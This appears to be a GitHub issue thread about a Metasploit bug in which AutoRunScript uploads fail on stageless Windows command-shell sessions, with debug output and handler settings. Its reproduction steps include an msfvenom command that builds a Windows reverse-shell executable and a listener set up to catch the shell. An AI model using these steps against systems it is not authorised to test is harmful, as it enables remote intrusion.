Closed Admin9961 closed 9 months ago
It looks like there's not enough information to replicate this issue. Please provide any relevant output and logs which may be useful in diagnosing the issue.
This includes:
debug
command in your Metasploit consoleThe easier it is for us to replicate and debug an issue means there's a higher chance of this issue being resolved.
This time I did it with the Powershell variant of the payload (cmd/windows/powershell/x64/shell_reverse_tcp) and I got the same error aswell, however the debug log looks weird, it says that I miss a dependancy for another payload which I'm not working on (the encrypted/shell variant), then another fake error (can't bind to 0.0.0.0:8443 that is false lol) here is the full snippet with the "debug" command (AV is disabled, this is not AV problem)
`## Module/Datastore
The following global/module datastore, and database setup was configured before the issue occurred:
The following web service errors occurred before the issue occurred:
The following framework logs were recorded before the issue occurred:
The following web service logs were recorded before the issue occurred:
The versions and install method of your Metasploit setup:
Update: issue doesn't happen with staged command shell payloads, just stageless (windows/x64/shell_rev_tcp & win/shell_rev_tcp), the basic stageless payload not the "encrypted" variant, I do not miss any dependancy, it's stageless command shell bug confirmed
Thanks for the update; Any idea what's going wrong? 👀
Basically it looks like that AutoRunScript can't download/upload data (not even a 1 byte .txt) if the selected payload is stageless (as result you get the error served at the start of the post). By selecting a staged payload things work as expected. This apply just to windows command shell, not to Meterpreter. Meterpreter is not affected by the flaw. I don't exactly know how to solve this issue on my own, I need someone to open a pull request. The issue is not environment related, my Linux distro is not flawed.
To emulate the bug, just do msfvenom -p windows/shell_reverse_tcp lhost=IP lport=port -f exe -o shell.exe
then vim "myscript.rc" => upload yourexample.txt yourexample.txt
(you don't have to actually specify the full path)
Listener conf then AutoRunScript => myscript.rc run you should get the bugged output I've posted at the start.
If you do the same steps with a staged payload, for example the classic windows/shell/reverse_tcp
everything works. I think this may happening becouse stageless sessions are less interactive. The flaw it's restricted to AutoRunScript, becouse you have the issue "solved" by interacting with the shell manually, but having such a cool feature as AutoRunScript flawed is not good. Automating routine is important.
If I'm understanding correctly, the issue only happens on a stageless shell session when you do an autorun? And it does not happen if you interact with the staged session? I have 2 wild guesses: 1) There might be an issue with initializing the channel.... maybe there's some garbage in it. I can't explain why it would behave differently in staged and stageless, though, so I'd be a little surprised if this was the case. 2) Curious if there's a race condition where the autorun script sends commands through the connection before the payload is completely ready. A stageless payload is going to have everything set up before the callback ever hits the framework listener, but a staged session still has to upload and inject the second stage. A test for this would be to just add a sleep or something as the first command in the script.
EDIT: No, I see I had that backward..... stageless does not work, but staged does..... weird.
Can you post the full command for msfvenom without IPs? Basically, I want to know what fileformat and any options you're using.
msfvenom -p windows/shell_reverse_tcp lhost=x.x.x.x lport=x.x.x.x -f exe -o test.exe
do a test yourself you'll see i'm right, in "AutoRunScript" just put in a "script.rc" containing the string upload test.txt test.txt
for my own test there was no need to specify the path becouse I'm working in just "current folder mode", no need to specify the full path. By interacting with the session and typing the upload command manually the issue is "solved", it's basically AutoRunScript failure
Normal behavior: file should be encoded in base64, then decoded with certutil on remote target
on listener I have default conf
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
ExitOnSession true yes Return from the exploit after a session has been created
ListenerTimeout 0 no The maximum number of seconds to wait for new sessions
VERBOSE true no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (windows/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript script.rc no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE true no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
I found another interesting string in the debug command:
RuntimeError Can't find command on the victim for writing binary data
<= ???
Doing some quick looking, Can't find command on the victim for writing binary data
is an error generated by _write_file_unix_shell
when it cannot find a suitable binary to send data. In a couple minutes of checking, I don't think this method should be called when the session platform is windows.
What do you get when you run sessions -l
and sessions -x
at the msf prompt while these sessions are connected?
Oooops; I meant sessions -v
sessions -l output:
7 shell x86/windows Shell Banner: Microsoft Windows [Version 10.0.19042.844] (c) 2020 Microsoft ... my_ip:8443 -> remote_ip:12501 (remote_ip)
8 shell x86/windows Shell Banner: Microsoft Windows [Version 10.0.19042.844] (c) 2020 Microsoft ...
output for sessions -v
Active sessions
===============
Session ID: 7
Name:
Type: shell windows
Info:
Shell Banner:
Microsoft Windows [Version 10.0.19042.844]
(c) 2020 Microsoft Corporation. All rights reserved.
C:\(private path)>
-----
Tunnel: my_ip:8443 -> remote_ip:12501 (remote_ip)
Via: exploit/multi/handler
Encrypted: No
UUID:
CheckIn: <none>
Registered: No
Session ID: 8
Name:
Type: shell windows
Info:
Shell Banner:
Microsoft Windows [Version 10.0.19042.844]
(c) 2020 Microsoft Corporation. All rights reserved.
-----
Tunnel: my_ip:8443 -> remote_ip:12504 (remote_ip)
Via: exploit/multi/handler
Encrypted: No
UUID:
CheckIn: <none>
Registered: No
Can I know where these methods are defined? I'm trying to investigate on myself but I can't find autorunscript.rb
Yes, this is happening becouse msf doesn't perform enough validation before launching autorunscript, thus making bad assumption. I confirmed that casually
[*] Session ID 12 (x.x.x.x.x.x.x.x:443 -> 204.101.161.xx:40061) processing AutoRunScript 'script.rc' [*] Processing script.rc for ERB directives.
I was running test on my own devices, when at some point an unknown guy portscanned my listener (it's not the IP of my own device lol, he probably not even running windows). The correct behaviour should be that it first check if the session is valid, then it start processing commands. It started "Processing script.rc" first instead, without any session check before starting
Hi!
This issue has been left open with no activity for a while now.
We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
Hi again!
It’s been 60 days since anything happened on this issue, so we are going to close it. Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.
As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.
In command shell, these 2 commands work only when interacting with the session, but if you try to automate it through "AutoRunScript", these 2 commands will fail with the statement:
Another try was performed by inserting the complete Path in resource.rc, and if failed aswell. I specify that this happened against a Windows 10 machine with a native windows/x64/shell_reverse_tcp. I don't know if other command shell based payloads are affected. The "H1.txt" was just 7 bytes of data. The attempt furtherly, cause the session to crash and exit.